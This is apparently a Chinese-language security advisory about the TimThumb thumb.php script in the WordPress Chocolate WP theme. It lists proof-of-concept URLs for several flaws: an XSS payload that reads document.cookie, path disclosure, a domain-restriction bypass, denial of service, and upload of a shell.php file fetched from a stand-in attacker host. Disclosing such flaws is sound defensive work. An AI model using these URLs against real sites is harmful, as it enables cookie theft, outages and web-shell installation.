发布日期：2013-01-23
更新日期：2013-01-26
受影响系统：
WordPress Chocolate WP Theme
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 57541
WordPress Chocolate WP是WP的商业主题。
Chocolate WP Theme for WordPress在实现上存在跨站脚本、路径泄露、滥用功能、拒绝服务和任意文件上传漏洞，攻击者可利用这些漏洞进行拒绝服务攻击、上传任意文件到受影响计算机、执行任意脚本代码等。细节请见：
XSS (WASC-08) (in older versions of TimThumb):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg
Full path disclosure (WASC-13):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=%3C111
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1&w=1111111
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/page.png&h=1111111&w=1
Abuse of Functionality (WASC-42):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site&h=1&w=1
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
DoS (WASC-10):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site/big_file&h=1&w=1
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)
About such Abuse of Functionality and Denial of Service vulnerabilities you
can read in my article Using of the sites for attacks on other sites
(http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html).
Arbitrary File Upload (WASC-31):
http://site/wp-content/themes/dt-chocolate/thumb.php?src=http://site.badsite.com/shell.php
Full path disclosure (WASC-13):
http://site/wp-content/themes/dt-chocolate/
<*来源：Eugene Dokukin
链接：http://seclists.org/fulldisclosure/2013/Jan/215
*>
测试方法：
--------------------------------------------------------------------------------
警 告
